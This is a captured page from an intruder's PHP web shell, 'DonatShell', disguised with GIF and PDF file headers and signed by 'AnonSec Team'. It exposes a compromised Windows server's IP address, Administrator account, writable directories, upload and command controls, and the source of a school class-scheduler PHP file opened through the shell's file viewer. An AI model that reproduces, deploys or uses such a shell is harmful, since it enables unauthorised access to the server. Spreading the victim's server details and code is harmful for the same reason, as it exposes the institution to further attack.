GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST2146/VM_Data/Data_WWW/scheduler/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST2146/VM_Data/Data_WWW/scheduler/Schedule//displaySchedule.phpinc
<?
// displaySchedule.phpinc
// Display the schedule.

t_Begin(true); // Begin TRACKing displaySchedule.phpinc.

sectionHeader();

// Get imported or added sessions.
$query = "
    SELECT DISTINCT
           YRTR
      FROM `class`
  ORDER BY YRTR
";
d_Var('classYRTRResult',$query,'q');
$classYRTRResult = query_do($query);
$classYRTRCount = $GLOBALS['_QUERY']['count'];
d_Var('$classYRTRResult',$classYRTRResult);
$YRTRlist = query_to_list_quoted($classYRTRResult); if ( $YRTRlist == '' ) $YRTRlist = "'0'";
d_Var('$YRTRlist',$YRTRlist);

$query = "
    SELECT sessionId
         , YRTR
         , sessionName
         , sessionDescription
      FROM `session`
		 WHERE YRTR IN ( ".$YRTRlist." )
  ORDER BY YRTR DESC
";
d_Var('sessionResult',$query,'q');
$sessionResult = query_do($query);
$sessionCount = $GLOBALS['_QUERY']['count'];
d_Var('$sessionResult',$sessionResult);

// Import classes from a session.
?>
<form name="form_name" action="<?=php_self()?>" method="post">
  <input type="hidden" name="form" value="form_name">
  <input type="hidden" name="uuid" value="<?=uuid()?>">
	Import from: <select name="sessionId">
		<option value=""></option>
<?
if ( $sessionCount ) {
  query_seek($sessionResult, 0);
  while ($sessionInfo = query_row($sessionResult)) {
?>
		<option value="<?=$sessionInfo['sessionId']?>"><?=$sessionInfo['sessionName']?> (<?=$sessionInfo['YRTR']?>)</option>
<?
  }
}
?>
	</select>
	<input type="submit" name="task" value="Import">
<?

// Display the schedule.
$f['scheduleId'] = $_SESSION['user']['scheduleId'];
d_V('scheduleId');
d_Var('$scheduleclassCount',$scheduleclassCount);
d_Var('$scheduleclassResult',$scheduleclassResult);

// Display schedule table.
$f['dayview'] = 'work'; // Type of view (work or full).
$f['timestart'] = 8;		// beginning hour (24hr format.
$f['timeend'] = 19;			// ending hour (24hr format.
$f['timeinc'] = 30;			// Minutes between rows.
$dh = 24;								// Row height.

switch ( $f['dayview'] ) {
	case 'work':
		$daystart = 'Mon';
		$dayend = 'Fri';
		break;
	case 'full':
		$daystart = 'Sun';
		$dayend = 'Sat';
		break;
}
$query = "
    SELECT weekdayNumber
      FROM `weekday`
     WHERE weekdayDay = '".query_safe($daystart)."'
";
d_Var('weekdayStartInfo',$query,'q');
$weekdayStartInfo = query_info($query);
d_Var('$weekdayStartInfo',$weekdayStartInfo);
$query = "
    SELECT weekdayNumber
      FROM `weekday`
     WHERE weekdayDay = '".query_safe($dayend)."'
";
d_Var('weekdayEndInfo',$query,'q');
$weekdayEndInfo = query_info($query);
d_Var('$weekdayEndInfo',$weekdayEndInfo);
// Calculate days to show.
$daysToShow = $weekdayEndInfo['weekdayNumber'] - $weekdayStartInfo['weekdayNumber'] +1;
switch ( $daysToShow ) {
	case 5:
		$dayClass = ' workweek';
		break;
	case 7:
		$dayClass = ' fullweek';
		break;
}
		
// Get weekdays we are to use.
$query = "
    SELECT weekdayId
         , weekdayNumber
         , weekdayD
         , weekdayDay
         , weekdayWeekday
      FROM `weekday`
     WHERE weekdayNumber >= ".$weekdayStartInfo['weekdayNumber']."
       AND weekdayNumber <= ".$weekdayEndInfo['weekdayNumber']."
  ORDER BY weekdayNumber
";
d_Var('weekdayResult',$query,'q');
$weekdayResult = query_do($query);
$weekdayCount = $GLOBALS['_QUERY']['count'];
d_Var('$weekdayResult',$weekdayResult);

// BEGIN schedule table.
// Table header.
?>
<div class="schedulecontainer">
<table class="schedule">
	<tr><td class="time"></td>
<?
query_seek($weekdayResult, 0);
while ($weekdayInfo = query_row($weekdayResult)) {
	?><th class="<?=$dayClass?>"><?=$weekdayInfo['weekdayWeekday']?></th><?
}
?>
	</tr>
<?
// Table rows.
$rows = (int)( ( ( $f['timeend'] - $f['timestart'] + 1 ) * 60 ) / $f['timeinc'] );
$tIdClasses = array(); // Array to count number of classes in a td.
for ( $time=$f['timestart']*60; $time<$f['timeend']*60; $time+=$f['timeinc'] ) {
	$displayTime = valid_time((int)($time/60).':'.($time%60),'USA');
	#d_Var('$displayTime',$displayTime);
?>
		<tr><td class="dh<?=$dh?>"><?=$displayTime?></td>
<?
	query_seek($weekdayResult, 0);
	while ($weekdayInfo = query_row($weekdayResult)) {
		$tdId = $weekdayInfo['weekdayD'].str_replace(array('am','pm',':'),'',$time);
		$tIdClasses[$tdId] = array();
		$tIdClasses[$tdId]['time'] = $time;
		$tIdClasses[$tdId]['count'] = 0; // Init to 0;
		?><td id="<?=$tdId?>" class="dh<?=$dh?> <?=$dayClass?>"><?=$tdId?></td><?
	}
?>
		</tr>
<?
	}
?>
}
</table>
</div>
<?
// END schedule table.

// BEGIN create class divs.
if ( $scheduleclassCount ) {
  $classes = array();
	query_seek($scheduleclassResult, 0);
  while ($scheduleclassInfo = query_row($scheduleclassResult)) {
		d_Var('$scheduleclassInfo',$scheduleclassInfo);
		// Get class info.
		$query = "
				SELECT classId
						 , class.YRTR
						 , classQId
						 , course.courseId
						 , classSection
						 , classEnr
						 , classMax
						 , classStartDate
						 , classEndDate
						 , courseinsttypeId
						 , departmentCode
						 , courseNumber
						 , courseTitle
						 , courseCredits
						 , courseCreditsMax
					FROM `class`
					JOIN `course` ON course.courseId = class.courseId
					JOIN `department` ON department.departmentId = course.departmentId
				 WHERE classId = ".$scheduleclassInfo['classId']."
		";
//			ORDER BY departmentCode, courseNumber, classSection
		d_Var('classInfo',$query,'q');
		$classInfo = query_info($query);
		d_Var('$classInfo',$classInfo);
		$cId = $classInfo['classId'];
		$classes[$cId] = array();
		foreach ( $classInfo as $index => $value ) {
			$classes[$cId][$index] = $value;
		}
		// Get classmeeting info.		
		$query = "
				SELECT classmeetingId
						 , classId
						 , classmeetingStartDate
						 , classmeetingEndDate
						 , classmeetingBeginTime
						 , classmeetingEndTime
						 , classmeetingOnOff
						 , roomNumber
						 , buildingCode
					FROM `classmeeting`
					JOIN `room` ON room.roomId = classmeeting.roomId
					JOIN `building` ON building.buildingId = room.buildingId
				 WHERE classId = ".$classInfo['classId']."
			ORDER BY classmeetingStartDate, classmeetingBeginTime
		";
		d_Var('classmeetingResult',$query,'q');
		$classmeetingResult = query_do($query);
		$classmeetingCount = $GLOBALS['_QUERY']['count'];
		d_Var('$classmeetingResult',$classmeetingResult);
		// Create room list.
		$roomList = '';
		$classes[$cId]['classmeeting'] = array();
		if ( $classmeetingCount ) {
			query_seek($classmeetingResult, 0);
			while ($classmeetingInfo = query_row($classmeetingResult)) {
			$cmId = $classmeetingInfo['classmeetingId'];
			$classes[$cId]['classmeeting'][$cmId] = array();
			foreach ( $classmeetingInfo as $index => $value ) {
				$classes[$cId]['classmeeting'][$cmId][$index] = $value;
			}
				$roomList = listAppend($roomList,$classmeetingInfo['buildingCode'].$classmeetingInfo['roomNumber']);
				$meetingTime = valid_time($classmeetingInfo['classmeetingBeginTime'],'USA').'-'.valid_time($classmeetingInfo['classmeetingEndTime'],'USA');
				// Get classmeetingweekdays.
				$query = "
						SELECT classmeetingweekday.weekdayId
						     , weekdayD
							FROM `classmeetingweekday`
							JOIN `weekday` ON weekday.weekdayId = classmeetingweekday.weekdayId
						 WHERE classmeetingId = ".$classmeetingInfo['classmeetingId']."
					ORDER BY weekdayNumber
				";
				d_Var('classmeetingweekdayResult',$query,'q');
				$classmeetingweekdayResult = query_do($query);
				$classmeetingweekdayCount = $GLOBALS['_QUERY']['count'];
				d_Var('$classmeetingweekdayResult',$classmeetingweekdayResult);
				$classes[$cId]['classmeeting'][$cmId]['weekday'] = array();
				if ( $classmeetingweekdayCount ) {
					$classes[$cId]['classmeeting'][$cmId]['weekday'] = array();
					$classes[$cId]['classmeeting'][$cmId]['tdId'] = array();
					$classes[$cId]['classmeeting'][$cmId]['min'] = array();
					query_seek($classmeetingweekdayResult, 0);
					while ($classmeetingweekdayInfo = query_row($classmeetingweekdayResult)) {
						$wId = $classmeetingweekdayInfo['weekdayId'];
						#foreach ( $classmeetingweekdayInfo as $D ) {
							$classes[$cId]['classmeeting'][$cmId]['weekday'][$wId] = array();
							$classes[$cId]['classmeeting'][$cmId]['weekday'][$wId]['weekdayD'] = $classmeetingweekdayInfo['weekdayD'];
							$beginMin = explode(':',$classmeetingInfo['classmeetingBeginTime']);
							$beginMin = $beginMin[0] * 60 + $beginMin[1];
							$endMin = explode(':',$classmeetingInfo['classmeetingEndTime']);
							$endMin = $endMin[0] * 60 + $endMin[1];
							$classes[$cId]['classmeeting'][$cmId]['weekday'][$wId]['tdId'] = $classmeetingweekdayInfo['weekdayD'].$beginMin;
							$classes[$cId]['classmeeting'][$cmId]['weekday'][$wId]['beginMin'] = $beginMin;
							$classes[$cId]['classmeeting'][$cmId]['weekday'][$wId]['endMin'] = $endMin;
							// Add class across tIds.
							for ( $min=$beginMin; $min<$endMin; $min+=$f['timeinc'] ) {
								$tIdClasses[$classmeetingweekdayInfo['weekdayD'].$min]['count']++;
							}
						#}
					}
				}
			}
		}
		// td id format: M480. Day + minutes since midnight.
		// div id is classId.
		d_Var("\$classes[$cId]",$classes[$cId]);
?>
<div id="<?=$classInfo['classId']?>" class="class">
<?
	$cr = $classInfo['courseCredits']+0;
	$crMax = $classInfo['courseCreditsMax']+0;
?>
<?=$classInfo['departmentCode']?><?=$classInfo['courseNumber']?>-<?=$classInfo['classSection']?>
&nbsp;<?=$cr?><? if ( $crMax ) { ?>-<?=$crMax?><? } ?>cr
&nbsp;<?=listAnd(str_replace('MAINHU','',$roomList))?>
<br>
<?=$meetingTime?>
<?
?>
</div>
<?
// Position the class div.
?>
<script>
<?
?>
</script>		
<?
  }
}
d_Var("\$tIdClasses",$tIdClasses);
// END create class divs.

?>
</form>
<?
sectionFooter();

t_End(); // End TRACKing displaySchedule.phpinc.
?>

Anon7 - 2022
AnonSec Team